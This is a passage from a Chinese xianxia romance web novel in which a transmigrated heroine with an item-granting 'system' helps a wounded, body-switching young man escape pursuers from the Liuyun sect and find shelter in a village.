她吓了一大跳,手忙脚乱地轻拍他后背试图帮他缓解∶“你、你怎么了?好端端的怎么会吐血啊?” 他却神色如常地抬手拭去唇边血渍,微笑道∶“没什么,只不过封印雕像时这具身体消耗的灵力太多,若是被流云宗那帮人发现了,那就只能乖乖等死。” 徐颂禾不放心地盯着他,不想放过他每一个表情变化∶“那……你不会死吧?” “不会。” 她悬着的心立刻落了一半,仰头看看四周,放低声音道∶“那便好,他们应该暂时发现不了我们,只要耗到他们离开……” 话音未落,忽地自背后涌上一股寒凉,徐颂禾立马一个鲤鱼打挺从地上爬了起来,那只从灌木丛外伸进来的手便堪堪从她衣袖擦过。 灌木丛中伸进来一张脸,那隐藏在胡茬下的嘴咧了咧,嘴的主人高举起手中的刀就要向他砍落。 “哎……” 徐颂禾撑起还在发抖的身子,没来得及细想便扑上前抱住了倚在树头面色苍白的少年。双手勾住他脖颈的刹那,她脑子里一片空白,只紧紧闭上了眼,然而只听“啪嗒”一声响,那人吃痛低呼一声,刀刃落在了地上。 少年扼住他脖子的手几不可察地颤抖着,那双眼眸里的杀意几乎要穿透对方心脏∶“活够了么?” 那人双目因恐惧而睁圆,艰难地从喉咙里挤出几个字∶“不……不……” “没活够就让他们滚,”祁无恙将人甩在地上,眉峰骤然压下,捻了捻方才碰过他的手指,“用我教你怎么说吗?” 那道士挣脱了束缚,当下连刀也不要了,连爬带滚地溜出树丛,还未站起身便高喊道∶“他们……他们就在那里!方才那妖孽有了机会却不杀我,我看地上还有不少血迹,他一定是被什么人所伤,动不了手了,大家快去趁机杀了他!” 卓不凡闻言大喜,连忙下令∶“快去抓住他们……对了,子墨一定就在那妖孽手上,可千万别误伤了他。” 众人跟在那道士身后,哗啦啦几声扒开树丛,可哪还有什么人?只几片树叶窸窸窣窣落下。 “祁无恙,你怎么样了?”徐颂禾搀扶着他,回头看看一路留下的点点血渍,只怕那些人要不了多久便会追上来。 “死不了。” 每一具身体最多能消耗多少灵力他都一清二楚,当初就不该耗费心思去对付什么雕像,眼下恐怕一时半会恢复不来。 祁无恙目光从她手上掠过,只觉那白色碍眼得很,旋即将她推远了些,“自己都生死不保了,还有闲心抱着个野兔子。你不如把它献给卓不凡,他要是心情好了,兴许还能饶你一命。” “你说什么呢?”徐颂禾懵了一下,不明白他们被追杀这事和小白有什么关系了,他又干嘛莫名其妙把火撒到一只兔子身上? 小白蹬了蹬双腿,两只红彤彤的眼睛望向方才他们逃走的方向,似乎很是焦躁。 她捂住兔子耳朵∶“乖小白,咱不听他的,我是不会把你送出去的。” 它貌似听懂了这话,很快便不再挣扎了,安安静静地趴在她肩上。 她把最后的希望寄托给系统∶“今天有什么道具?干脆一起给我了吧!” “今日有防护罩一个,玩具枪一支,短刀一柄。” “……” 净给些没用的东西,这种时候她要玩具枪干什么啊? 身后的脚步声隐隐约约,她急得像踩在热锅上,只好又将视线转向身旁的人。 祁无恙没看她,随意抬手往右边一点∶“走那边。” 大佬没了灵力也还是大佬,他总不至于连自己都坑。徐颂禾当即毫不犹豫地带着他赶去,最后终于赶在流云宗之前来到了一座悬崖边。 ……悬崖? “跳下去。”他淡淡开口。 徐颂禾难以置信地抬起头,以为自己听错了。 他瞥了她一眼,笑道∶“可惜,你的兔子只怕要摔成肉泥了。” 这个人今天怎么回事,干嘛一直跟兔子过不去?徐颂禾瞪向他,还没来得及开口,手腕蓦地被人一拽,身体失重的刹那,凛冽的寒风从耳畔刮过,灌得她睁不开眼。 第28章 反正也从没有人会真心待…… 卓不凡一行人赶到崖边, 恰好见一袭红衣从中滑落,随后坠入深崖消失不见。 他顿时大惊失色,手中的剑砸到了地上∶“他……他们掉下去了, 那我的子墨呢?他们为什么害死我的子墨?!” 他跌跌撞撞地奔向崖边, 卓子寻生怕他一个想不开跟着跳下去, 上前拉住他∶“爹,您放心,兄长他法术精湛, 绝不会被区区一个妖孽所害。”说罢, 挥手朝身后众人示意∶“都愣着干什么?还不快下去找人?” 众人纷纷应是, 各自分头去寻找能用的绳索。 * 天空淅淅沥沥下起了小雨,徐颂禾跪坐在地上, 凝视着双眼紧闭的人,迟疑着伸出手。 还未碰到他的额头, 忽然一只手扣住了她的手腕,少年掀开眼皮, 漆黑的眼珠静静注视着她。 “你……你醒着啊?”她悻悻收回手,指指洞口垂挂下来的雨帘, 解释道∶“我们从悬崖上跳下来之后你就不省人事了, 我担心卓不凡他们追来,只好暂时找到这里躲一下了。” 这人行事也太冲动了,一点都不惜命, 要不是她有系统的防护罩, 他们早就摔得面目全非了。 见他不答话, 她只好又主动问道∶“你现在感觉怎么样了?灵力可有恢复一些?” 祁无恙默默垂眸撕开肩头衣襟,霎时间一道道血痕跳入视线中,触目惊心。 “你这必须赶快处理伤口, 不然容易感染的。”徐颂禾屏住呼吸,视线在四周搜寻着∶“这附近……有没有将死的人?” 他拢了拢眉∶“问这个做什么?” “我没有能止血的东西了,”她有些焦急,只希望他能像上次那样,受了伤之后换一具身体就什么都好了,“要不……你再换一次?” 明白了她的意思,他顿觉好笑∶“你以为是在做游戏么?” 徐颂禾缄口不言了,她一直觉得他很厉害,好像无所不能,没想到也有解决不了的。 “你担心的不错。” 良久,他开口打破了沉默,徐颂禾抬起眼睛,疑惑地看着他。 “那些人很快便会追来,只不过他们的目标是我,”少年抬眸,目光沉沉地压在她脸上,“你若现在走,还来得及。” 徐颂禾怔怔地瞧着他,那双眼睛和平常一样,便是在这种时候也没有流露出丝毫惧色。 她看了看方才走来的路,转移话题∶“哎,早知道刚才讨点水喝了,你渴不渴呀?” 祁无恙沉默地垂着眼,余光却紧锁在少女脸上,不愿放过她的每一丝表情。 等不来回答,徐颂禾径自站起身,拍了拍裙摆上的污泥,拨开堆叠的树枝,头也不回地朝洞外走去。 雨这时已经停了,一束浅浅的阳光洒下来,恰好在洞口止住。洞里是与世隔绝的黑暗,仿佛永远不会有阳光光顾。 她果然走了…… 竟然真的就这样走了,难保日后不会背叛自己,不如现在就杀了,或是打断腿,让她哪都去不了。 反正也从没有人会真心待他。 少年紧盯着那朝自己远去的背影,周身气息骤然沉了几分,t一丝灵力悄然爬上他的指尖。 “对了,把你的水壶给我。”她的声音自洞外传进来。 几乎是在同时,他熄灭指尖灵力,掩饰住眼里一闪而过的错愕,抬起眼平静地看着重新进来的人。 阳光照在少女身上,她走进来时,似乎把光亮也带了进来。那光点在洞壁上游走,最后跳进他黑沉沉的眼底。 徐颂禾全然没察觉到他身边翻涌而起的杀意,自顾自走到他身旁,埋头去取他腰间的水壶。 “怎么勾住了?”她小声嘀咕了句,加紧手上动作,额头也沁出了汗。下一瞬,一只手指垂下来轻轻一勾,那水壶便顺势落到了她手中。 他漫不经心地问∶“回来做什么?” “我刚才忘了,不拿水壶你喝什么呀?”少女抬起手,一缕阳光照在她纤细的指尖,她的眼睛也因兴奋而变得亮晶晶,“我看见不远处有一条小河,还有动物在喝水,应当是没毒的,但我不能只顾着自己吧?万一把你渴坏了怎么办?” 她晃了晃水壶,笑容明媚∶“等我回来!” 祁无恙望着她离开的方向,方才那呼之欲出的杀意逐渐消散,他指尖微微蜷缩,沉默地倚着石壁,像一道孤独的影子。 * 徐颂禾拎着水壶走到河边,蹲下身来,平静的河面照出她白皙的脸庞。 蓦地,一阵突如其来的风令它泛起了一圈圈涟漪,被风送来的还有几声呵斥。 她心头一紧,立刻闪身躲到一棵粗壮的树后,小心翼翼地探头望去。 只见几名道士打扮的弟子正围着一个看起来不过七八岁的男童,为首的那人正是卓不凡,他手持长剑,剑尖虽未出鞘,却极具压迫感地抵在男童瘦弱的肩头。 “说!有没有见到一个穿红衣的男子?不说实话,就给我小心你的舌头!” 男孩让他这一训斥,吓得脸色惨白,嘴唇哆嗦着,一个字也说不出来。 他们竟这么快就追来了,还对一个孩子下手。徐颂禾的心霎时间提到了嗓子眼——绝不能连累无辜之人,得想个办法支走他们。 卓子寻害怕他爹真的对这个孩子动手,万一有不怀好意的人看见,可大大折损了流云宗的名声。他赶紧按下卓不凡的手,道∶“爹,这孩子看起来一时半会也说不出什么,不如先把他带着,路上慢慢盘问。” 卓不凡闻言强压下心中焦躁,对待犯人似的拽了拽那孩童的手,却立刻被拍开了。 那孩童往后跳开一步,怯生生的眼睛里充满敌意,手里捏着几颗锋利的石子。 卓不凡不设防地被划伤了手,此刻也只得忍住怒意,笑道∶“你不用怕,只要你告诉我们那两个人在哪,我们不会伤害你的。” 可对方还是不回答,像个哑巴似的杵在那。他皱紧眉毛,正着急时,忽然听见身后传来咔嚓一声轻响,紧接着便有一阵急促的脚步声。 只听一少女惊呼道∶“公子,你没事吧?”那声音似乎离他们并不远。 “爹,他们在那边!”卓子寻眼尖地捕捉到了那一闪而过的身影,急道∶“别管他了,去追回兄长要紧。” 那孩童很快被抛弃在了原地,正茫然地望着那群逐渐消失的身影,忽然一只手伸出来拉住了他,将他拖进了背后的树丛里。 “嘘,别说话。”徐颂禾按住他的嘴唇,闭上眼在心里紧张地默数着,直到听见一声巨大的重物砸落的声音,才小心翼翼地探出脑袋往外看去一眼。 她方才提前用系统给的短刀在枝干上划出了一道痕迹,流云宗的人那么多,只要一走近,他们的脚步便足以震断那截摇摇欲坠的树枝。 眼下卓氏父子被压在树下,众人正手忙脚乱地想法子把他们弄出来,一时间都忘却了要找人一事。 她迅速起身,趁那些人并未注意,拉着那孩子便往石洞跑去。 跑出一路,她忽然觉得手心有股奇怪的触感,回头一看,握着的那只手已经不见了,再将视线放远,那孩子站在树丛之间,只露出一个脑袋。他用手拉起两边嘴角,朝她比了个鬼脸,随后跃入丛中消失不见。 “诶……” 徐颂禾刚唤了一声,旋即又想∶算了算了,只要他能不被人抓住,想跑去哪都是他自己的事。 “臭丫头,居然敢设埋伏暗害我们宗主,快抓住她!” “那小子和他们定是一伙的,别让他跑了!” 背后蓦地一声怒喝,她身体骤然僵住,不用回头也知道是那帮人追来了。 反正也被发现了,徐颂禾一咬牙,索性朝方才那孩子消失的方向大声喊道∶“你竟出卖祁公子,最好跑快一些,否则让他抓到了,绝不饶你!” 这些话传入身后那些人耳中,她听见他们分散的脚步又集中起来,其中一人道∶“那看来他们不是一路的,不管那小子了,先把她抓住,再盘问出祁无恙的下落。” 不行,不能再往石洞跑了,她调转方向,急促的脚步声如影随形,越来越近。徐颂禾拼尽全力在林中奔跑,树枝刮过她的脸颊和手臂,带来一阵阵刺痛。 她虽然没有灵丹,却能感觉到一股凉飕飕的劲风从耳边刮过,紧接着重重打在前方一棵树上,那树干中间立时出现了一个冒着烟的黑洞。 徐颂禾瞳孔骤缩,腿下一软,差点没当场晕过去——刚才这一掌要是打在她身上,那她岂不是成东一块西一块的了?! 死亡的恐惧像一只冰冷的手扼住了她的喉咙,让她几乎喘不过气。那阵夺命的冷风再次袭来时,她牙齿阵阵发酸,心道死就死了吧,在这种地方她还能活到现在已经很不容易。 “系、系统,我还有什么道具可以用?” “宿主,今日只剩玩具枪了。” “……我能不能预支明天的?再给我一个防护罩。” 然而等来的是系统冰冷的回绝。 徐颂禾心里一阵无语——这家伙一点都不管宿主死活的吗?!就应该把它的工资都扣光光。 正绝望之际,忽然间“嗖”的一声,一支箭矢破空而出,她明显地感觉到背后那股风减弱不少,回头一看,只见其中两人已躺倒在地,背上各插着一支染血的箭。 身后离她一步之遥的地方,一支箭矢径直钉入地下,其余人相继刹住脚,顿足不前。 剧烈的心跳还未平息,徐颂禾猛地回头,循着箭矢来路望去。 少年手握长弓立于高处,狂风卷起他烈烈红衣,和她视线相交的那一刹,他微眯起一双噙笑的眼∶“想和他们一样随地睡的,可以再上前一步试试。”—— 作者有话说:祁∶每天都在患得患失害怕被抛弃[求你了] 阿禾∶幸好回来了,这个一言不合就想动手的家伙[愤怒] 以后追妻的时候希望你也能这样下得去手[狗头] 明天不更奥宝宝们,周一休息一天,爱你们么么哒[猫头] 第29章 帮他上药 趁着这短暂的僵持, 徐颂禾立刻奔到那人身旁,直到看清他面容时,她的脑子都还是懵的。 “祁无恙?”她有些不确定地唤了一声, 他这次没换容貌, 可感觉上却不大一样了。 “嗯。” 听见他的回应, 她稍稍放松了些,问道∶“你……你没事了吗?” 祁无恙淡淡垂眸,目光从她身上每一处伤痕扫过, 微微一笑∶“看起来你比较有事。” “……” “他……他就是祁无恙?” 她还没来得及回话, 便让一声惊呼给打断了, 转头一看,只见卓子寻又领着一众道士, 瞪圆了双目看过来。 “看来父亲说的没错,这妖孽擅长易容, 这回可得抓住他,否则等他再变一次脸, 可就难以辨认了,”他话虽这么说, 却稳稳地站在被人群簇拥的位置, 光动嘴皮子不上前,“喂,你站那么高, 不会是怕了我了吧?” 祁无恙眉头微蹙, 似乎正努力在记忆里搜寻这个人的样貌, 最后终于给了他一个眼神∶“你是谁?” “你……”卓子寻顿时气得脸色乌黑,前阵子他被那个自称下了毒的太阳吓到不行,结果现在罪魁祸首转头就把他给忘了, 连气都没地撒。 然而祁无恙没耐心继续等他回答,便将目光转向了一旁的少女∶“你认识他?” “你不认识吗?” 徐颂禾有点惊讶,她对眼前这个既能在客栈里嚣张拨扈地使唤人,又会因为一点小事急得用钱息事宁人的小公子还是有些印象的。 “他就是被你在手腕上画了个的太阳的那位公子。”她思考了一下,言简意赅t地解释道。 “哦,你还没死,”祁无恙笑了笑,指尖捻起一片树叶,随意搭在弓弦上,“不过,现在快了。” 那弓箭略微转动,对准了他。 卓子寻身子一震,慌忙猫着腰攥着前面人的衣角躲到后面,还硬撑面子喊道∶“本……本公子今日不想杀人,只要你们把我兄长交出来,我可以放你们一条生路。” 徐颂禾心下奇怪,他的兄长不见了,为什么要来找他们要?他们看着也不像是会干绑架这事的人啊…… 她带着疑惑的视线看向祁无恙……好吧,确实有点像。 “你兄长不在我们这,”她摊了摊手,又托住肩膀上躁动得差点掉下去的兔子∶“你看,这里只有我们三个,总不可能把一个大活人凭空藏起来吧?” “那可说不准,这……”碰上少年投来的目光,卓子寻牙齿颤了颤,又断断续续地道∶“这妖孽阴险狡诈,诡计多端,谁知道他是不是对我兄长用了什么见不得光的技俩?” 眼下卓不凡被砸成重伤,他便不得已成了领头的,为了救兄长,说什么也不能退缩。 徐颂禾瞪他一眼,有些不乐意了,挪动步子挡在祁无恙跟前∶“你干嘛骂人?我作证他真的什么也没有做,你与其在这和我们浪费时间,不如赶快去找别人问问你兄长的下落。” “阿禾。” “嗯?”徐颂禾真真实实愣了一下,好半晌才回头看向他,犹豫地指了指自己∶“你刚才……是在叫我?” 等摆脱了流云宗这帮人她一定要问问现在好感度多少了,这得多高才能让这么个人突然叫出这么肉麻的称呼?! 祁无恙笑笑,抬了抬手,一脸的无奈∶“你挡着我的箭了。” 哦,原来是挡着他的树叶了。徐颂禾赶紧往旁边让了让,露出下方道士慌乱的脸。 卓子寻见其余人竟也自己一样害怕,不禁气道∶“你们怕什么?这么多人还打不过他一个吗?别忘了宗主才因为他们受了重伤,我兄长也还在他们手上,都给我……” 话音未落,倏然间只见眼前青光一闪,左颊一阵火辣辣的疼,转头一看,方才被搭在弓弦上的树叶已径直钉入树中,叶片没入树干半寸。 卓子寻颤颤巍巍地伸手捂住脸,摸到了温热的液体。 可还不等他缓过来,对方已经又取了一支树枝,这回瞄准的不知是谁。 “都……都给我撤!”他连爬带滚地往回跑,道∶“还愣着干什么?宗主那边不能没人照顾,先回去养好伤,再来杀他不迟。” 众人闻言更不敢多做停留,纷纷收起武器跟着他逃之夭夭。 “太好了,我们终于安全……” 身旁一道身影忽然擦着她衣角落下,徐颂禾一惊,被迫跟着弯腰扶住他∶“祁无恙?” 对方紧闭双目,没有回应她的话。 忽然想到什么,徐颂禾腾出一只手,忐忑地撩开了他肩上的衣服。 那伤痕果然加重了,眼下正汩汩往外冒血,再不处理,只怕这条手都不能要了。 她放下手,望着他垂下的眼皮,眼神有些复杂。 虽说这不是他自己的身体,但疼的毕竟还是他啊。这么重的伤还能一声不吭,他到底是真的不怕疼还是已经习惯了? 来不及想那么多,她按着他双肩迫使他撑起身子,随后又揉了揉他的脸,伸出两根手指在他眼前晃∶“祁无恙,这是几?” “……” 他终于掀起眼帘,眼里带着疲惫。 “是你。” 那束目光也不知落在哪里,少年静静凝视她良久,又垂下眸,从唇角溢出一点血来。 “哎——”徐颂禾眼疾手快把他扶稳,又埋头从衣角上扯下一条带子,替他暂时止住了血,“不能睡,马上要下雨了,现在必须赶快找个地方疗伤。” 半晌,她终于成功把人拉了起来,又探了探他的鼻息,随后扶着不知还有没有意识的人,深一脚浅一脚地在渐暗的天色中前行。 轻薄的衣带根本起不了多少作用,鲜血很快渗了出来,粘腻温热的触感穿过衣料,传到她手臂上。 徐颂禾心里酸了一下,怕他昏迷过去,便笑道∶“你记不记得,刚见面的时候,你还嫌弃我不会灵力帮不上忙,没想到现在还是我救了你吧?” 他手指蜷缩了一下,没有说话。 小白在前头焦躁地跳来跳去,最后像是发现了什么,掉头回来使劲在她脚踝上蹭。 “你是想让我走那边吗?好,我相信你。”徐颂禾换了方向,走出不知多久,她觉得自己双腿发软,如果有张床都能立刻躺下睡着。 唯一支撑她走下去的,恐怕就是不远处飘来的隐隐约约的香气,还有那若隐若现的房屋了。 前面似乎是个村庄,这对她来说不亚于绝处逢春。徐颂禾加快了步子,高兴道∶“小白,这回多亏有你啦……” 话音方落,她这才注意到脚边那道身影不见了,匆忙中回头一看,只见那雪团子在地上滚动着,飞快朝她反方向离开了。 徐颂禾心里一急,刚想转身去把它带回来,可衣袖紧了紧,她转过头,身旁少年还闭着眼,好像方才是空气拽了她一下。 她在心底叹口气——还是他的伤更要紧些,小白应当也跑不了多远,等把人送过去了,她再出来找找就是。 她鼓着最后的力气,搀扶他朝最近的一处亮着微弱灯光的屋舍挪去。那是一座看起来有些年头的农舍,篱笆墙围着小院,窗棂里透出昏黄温暖的光。 刚踉踉跄跄地走到院门外,柴门“吱呀”一声打开,从里面走出来一个头发花白、身形佝偻的老婆婆,在看见他们时明显也愣住了。 这老婆婆面容和善,她看见的第一眼,便想到了自己的奶奶。 一阵委屈顿时涌上心头,她瘪瘪嘴,没忍住一下子哭了出来∶“婆婆,婆婆……” 那老婆婆也没想到会有个陌生姑娘跑到自己家门前哭,忙放下手中的东西应和着走上前∶“哎,姑娘别哭,出什么事了?” 徐颂禾抹干净眼泪,带着哭腔道∶“婆婆,我朋友受了伤,您这里有没有能止血的药?不知道能不能向您讨一点?” “能能能,哎呦,快进屋来。”老婆婆一脸着急,从另一边帮着她把人扶进了屋。 屋内陈设简陋,却干净整洁,带着一股柴火和米饭的淡淡香味。老婆婆指引着她将祁无恙扶到里屋的土炕上,一接触到炕沿,徐颂禾也几乎脱力,跟着坐倒在地,睫毛上还挂着泪珠。 “婆婆,谢谢您……”见那老婆婆摆了摆手,转身便去找纱布,她忍不住又问道∶“您就这样让我们进来了,不怕我们是坏人吗?” “我老太婆活了这么大岁数了,再坏的人也不会费那力气来害我,”她眯着眼睛,从角落的箱子里翻出一条白纱布和一瓶药水,笑容和蔼地看过来,“小姑娘,上药可能会有点疼,让你这位朋友忍忍。” 徐颂禾忙接过她手里的东西∶“我来,婆婆,您能愿意帮我们我已经很感激了,怎么能再麻烦您呢?” 老婆婆点点头,转身走进另一个房间,顺便带上了门。 她没敢再耽误,抬手小心翼翼地解开被血浸透的衣带,露出肩胛处狰狞的伤口。 徐颂禾深吸口气,倒出药水浸湿纱布,动作轻柔地为他洗净了伤口。 这看着也太不好受了……谁把她的疼痛共享给打开了? 手腕忽然被人攥住,她低下眼眸,少年已经睁开了眼,看向她的目光清明得像雪融成的溪水。 她一下子紧张起来,结结巴巴地问∶“我……我是不是弄疼你了?” 他垂下视线,落在她那只拿药的手上∶“你的手太抖了。” “……” 徐颂禾站起身∶“那你自己来吧。” 角落里突然传出一声轻响,她转过头,这才发觉屋里还有一人。 第30章 你睡床上 “什么?你竟把他们给放走了?!” 听他讲述完方才的事, 卓不凡忘却身上伤口,怒得拍桌而起,那眼神像是恨不能当场把这逆子给了结了。 卓子寻哪里见过他如此凶狠的模样, 吓得跪在地上, 垂着头道∶“爹, 您息怒啊,不是孩儿想跑,是那妖孽着实不好对付, 凭着几根树枝就杀了我们好几个弟子, 我……我要是还留在那, 我也会死!” “死又怎么了?哼,你这个贪生怕死的家伙!一点没有我当年的风范, ”卓不凡撩起衣摆,怒气沉沉地坐下, 沉声道∶“你哥还在对方手里,现在尚且生死未卜, 你怎么能因为怕死就丢下他?” “您当年的风范,什么风范?”卓子t寻猛地抬起头, 对上他爹投来的带着威压的视线后, 声音又低了下去∶“我现在这样,难道不像您吗?当年如果不是您临阵脱逃,怎么会有今天的流云宗……” “啪”一声, 一记响亮的耳朵打在他脸上, 吞没了余下的话。 卓子寻捂着被打肿的脸, 满心的委屈却又不敢发作,只能看着对方的目光由震惊转为愤怒,随后一道阴影笼罩下来。 他低头闭上眼, 却半晌没等来一个巴掌,不解地抬起头,只见卓不凡身子因极大的恼怒而微微颤抖,最后长长吐出一口气,用手指着门外∶“你给我滚出去……给我滚!” 卓子寻不敢再有半点停留,起身走到门外时,冰冷的风迎面吹来,方才挨了一掌的脸上一阵火辣。 他低低哼了一声,踢开脚下一颗石子以发泄愤怒∶“兄长,什么都是兄长,难道我的命就不重要了吗?” 忽然间另一只脚一阵瘙痒,他转头一看,见是一只不知从哪里跑来的兔子,此刻正咬着他的鞋子不放。 本来就烦了,还要来惹他…… 卓子寻毫不留情地一脚把它踢开,恰好身后传来一弟子的叫唤∶“公子,宗主方才说了,外面风冷,让你先回来。” 看来爹还是在乎他的……卓子寻心下大喜,刚走出几步,脚下忽然一痛,那只兔子竟又跑了回来,没留一点力气地在他脚上狠狠咬了一口。 “去去去,缠着我干什么?!”他抬脚一踹,那家伙便翻到地上滚了一圈,但没几秒的功夫就又重新扑了上来。 卓子寻“唰”的一下拔出腰间的剑,白花花的剑尖终于令它止了步∶“我爹最喜欢兔子了,你知不知道他为什么喜欢?哼,那是因为我兄长喜欢,所以流云宗遍地都是兔子,可从没问过我喜欢什么,他们连我对兔毛过敏都不知道!他只关心兄长,因为兄长才是那个天赋异禀,有希望继承流云宗的人!” 那兔子忽然不动了,两只红眼睛盯着他。 “你看我干什么?”他咬了咬牙,气呼呼地道∶“我告诉你,你再敢过来一步,我就用这把剑捅死你,听懂了吗?” 片刻后,它貌似真的听懂了,转头一溜烟遁入远处的树丛里便没了影。 卓子寻又“唰”的一下把剑收回鞘中,呼出一口气。 终于骂个痛快了。 * 屋子中间的桌案上燃着一盏蜡烛,暖光的光照在蹲在地上的人脸上,徐颂禾多看两眼,认出了他就是几个时辰前被流云宗拦下的那个孩子。 “是你呀?”徐颂禾眼睛一亮,道∶“你方才跑得太快,我来不及去追,没想到你是跑回家了。安全了就好,我还怕你会被那些人给抓走。” 那小孩盯着她看了很久,看得她都有些不好意思了,如果有面镜子,她一定要照一照,看看自己脸上是不是挂了什么东西。 “姐姐,你好漂亮哦。”他咧开嘴笑了,声音清脆∶“我见过的所有年轻女孩里,姐姐你是最漂亮的。” 徐颂禾被这突如其来的夸奖弄得一愣,随即嘴角不受控制地往上翘,脸颊也泛起淡淡的红晕。她下意识理了理有些凌乱地鬓发,连声音都软了几分∶“真的呀?” 他点点头,那模样很是认真。 门又“吱呀”一声打开了,那老婆婆从里面走了出来,手里端着的两杯水正往外冒着热气。 “娘亲。”那孩子跳起来,一把抱住了她。 娘……亲?徐颂禾略微感到惊讶,老婆婆看上去分明年岁已高,说这孩子是她的孙子都不为过。 不对,怎么能这样想?老来得子也是件大喜事。意识到自己这样看着人家不太礼貌,她赶紧别过头,余光看见那老婆婆抬起手,慈爱地在他头上摸了摸。 “这是我儿子,名叫远生,你们可以叫他阿生,”老婆婆笑眯眯地向她介绍,“我活了一大把年纪,这个孩子是上天对我的恩赐,不过也正因为此,我平日宠他宠得有些过,倘若有什么得罪的地方,还望多多包涵。” 徐颂禾没想到她会这么说,只感觉一阵过意不去∶“婆婆哪里的话?您愿意让我们借宿,我感激都还来不及,况且阿生可爱得很,又聪明,可讨人喜欢啦,” 听见有人夸她孩子,老婆婆乐得两只眼睛都眯了起来。她拿来一床被子和席子,把阿生带进了里屋。 “你怎么样了?”他们出去后,她才转过身,伸手想查看他的伤势。 祁无恙将衣料遮了下来,上面干干净净的,看不出一点受伤的痕迹∶“我已经处理好了。” 这个人是不是社恐?每次人一多起来,他就不说话了,存在感一点儿不高。 徐颂禾肆无忌惮地盯着他看,哼了一声道∶“在这种事情上撒谎,吃亏的可是你自己哦。” 没等他回答,她忽然倾身上前,在他有所反应前轻轻揭开了遮挡的衣物。 只见那纱布系得歪歪扭扭,上面的药水弄得哪里都是,却独独伤口上几乎没沾到。 “……你这样就叫处理好了?” 徐颂禾帮他重新处理了伤口,想了一想,觉得好奇∶“你总是被人追杀,以前应该也没少受伤吧?怎么连包扎都不会?” “我从来不包扎。”他面露笑容地低下头,嘴角带着一丝玩味。 “……” 她忽然猜到他要说什么了,果不其然,下一瞬,他目光飘向别处,轻描淡写地道∶“不是你说的么?换一具身体才是最方便的。” “那你现在怎么不换呢?”徐颂禾把毛巾扔进盆里,溢出的水花溅到了他手上。 还让她搀扶了一路,累死人了。 祁无恙将目光重新放回她脸上,好整以暇地欣赏她的小表情∶“因为找不到好看的。”?? 她有些不可思议地抬起头,眼里满是震惊∶“找不到……好看的?” 还以为他换身体需要互相匹配,又或是嫌弃别人灵力不够高配不上他之类的理由,没想到就这样轻飘飘一句话。 她骤然气笑了∶“好看重要还是命重要啊?再多流点血你就要死了知不知道?到时候我上哪里找你去?你还要我上演踏遍忘川走遍奈何桥的老土剧情吗?” 他偏了偏头,面前那片唇瓣一张一合,像个机关枪似的一连串问了四个问题,每一个他都不知道怎么回答。 徐颂禾一口气说完,愤也发泄完了,不指望他回答什么,便拿起了放在一旁的席子站起身。 他有些不解地拉住她∶“做什么?” “你是伤员,你睡床上,”她已经铺开了那张席子,踩了上去,“我就在这凑合一晚。” 祁无恙闻言,非但没松手,反而就着拉住她的力道,轻轻往后一拽。她一个没站稳,猝不及防坐到了床沿,正好与他面对面。 那带着温度的指尖还未从她手腕上移开,他的目光静静地投过来,徐颂禾下意识屏住呼吸,赶紧别开了脸。 这屋里也没点火,怎么突然变热了? 她不太习惯地甩开手,在他逐渐变得疑惑的视线下随便随便找了个借口∶“你……你的手太热了。” “我也怕热。”他弯起唇笑笑,只扔下这么一句话便站起身来。 他这是把床让给自己了?徐颂禾揉了揉手上起的浅浅一层鸡皮疙瘩,说道∶“好吧好吧,你不怕冷你就去地上睡去吧,反正铺了席子也不会很冷……” 她话刚说到一半,却见他步履无声地绕过了那床席子,只轻轻一跃,便如一片没有重量的羽毛般侧卧在了那狭窄的横梁上。夜风从狭小的窗缝里涌入,吹动他高高束起的黑发,红色的衣摆垂落下来,在少女头顶轻轻晃动。 “你的伤口才刚包扎好,要是又撕裂了,你就自己想办法吧!”她气得在下面跺了下脚,又怕吵到隔壁的婆婆,只轻轻地碰了碰地板,随后转过身钻到了被褥里。 烛火摇曳了几下,随后瞬间熄灭,房间里一时陷入一种微妙的寂静。 他侧过身,漫不经心地往下瞥了一眼。 徐颂禾把整个人都蜷缩起来,脸颊深深埋进被褥里,轻浅的呼吸清晰可闻。 居然还能睡得这么安稳,一点防备心都没有。祁无恙视线越过她,望向了窗外。在他萌生出困意之前,天色已经微微亮了,一束红光从窗户照射进来。 他随手一抬,原本卧在地上的稻草忽然间飞跃起来,挡住了照在姑娘脸上的阳光。 又不知过了多久,下方传来一些窸窸窣窣的声响,他还未转头,便已先听见了叫唤∶ “祁无恙,你醒了吗?” 徐颂禾试探着唤了一声,见他没有回应,便轻手轻脚地想去打t开屋门。 手碰到门扉的那一瞬,上面的人轻轻“嗯”了一声。 “你什么时候醒的?”她停顿了一下,回望向他∶“你身上的伤还没好,先歇着吧,我出去看看。” 她说罢,径自走出门去。他们得了人家帮助,可也不能白吃白喝,老婆婆估计一大早就出门了,她要去看看有没有自己能帮上忙的。 刚一出门,便和一个匆匆跑来的身影撞了个满怀。《 》 30-40 第31章 奖励你的 徐颂禾推开他一点, 顺便抓着他的手把他扶稳了∶“阿生?” 小孩抬起脸,亮晶晶的眼里满是期待∶“姐姐,有糖吗?” 糖?徐颂禾浑身上下摸了一遍, 可她从穿过来的那天起就没过过一天安稳日子, 哪里来的糖? 对了……她想起什么, 赶紧道∶“你等姐姐一下。” 说罢,她暗暗呼唤系统∶“现在已经是第二天了,道具都刷新了吧?能不能给我颗糖?” 系统大概也是第一次听见这种要求, 安静了几秒后才向她确认∶“宿主确定吗?所有道具都可交换同级道具, 糖果是最低级的道具, 交换后会吃亏的哦。” 听见能换,她心里松了口气, 随后合拢起两只手,笑眯眯地看着他。 “我知道我知道, 姐姐是不是要我猜它在哪只手里?”他兴奋地跳起来,在其中一只手上拍了拍, “我要这个,里面的糖果纸都露出来啦!” 徐颂禾笑了笑, 摊开那只手, 露出里面的糖果∶“阿生真聪明,姐姐再奖励你一颗好不好?” 她说完,伸出另一只手, 张开时, 一枚金灿灿的糖果躺在手心, 在阳光底下还微微闪烁着光。 这完全是意外之喜,阿生蹦了几下,却只拿了其中一颗∶“姐姐也吃, 我要去找阿娘啦。” 他跑远后,身后突然传来一声轻笑,徐颂禾转过身,只见少年正双手枕着脑袋,斜倚在门边看着自己。 “你是喜欢小孩,还是喜欢兔子?”看见她走过来,他开口问道。 兔子……她怔了一下,昨天小白把他们带过来之后就不知道去了哪里,也不晓得现在怎么样了。 她眨了下眼,收回思绪,又上前两步,把手里那颗糖果伸到他面前。 祁无恙扫了一眼,视线又回到她脸上,带着些许不解。 “给你的,也奖励你,”少女弯起眸子,笑意从眼底漫上来。她踮起脚凑到他耳旁,热热的气息猝不及防洒在耳畔∶“奖励你昨晚乖乖上药,一声也没吭。” 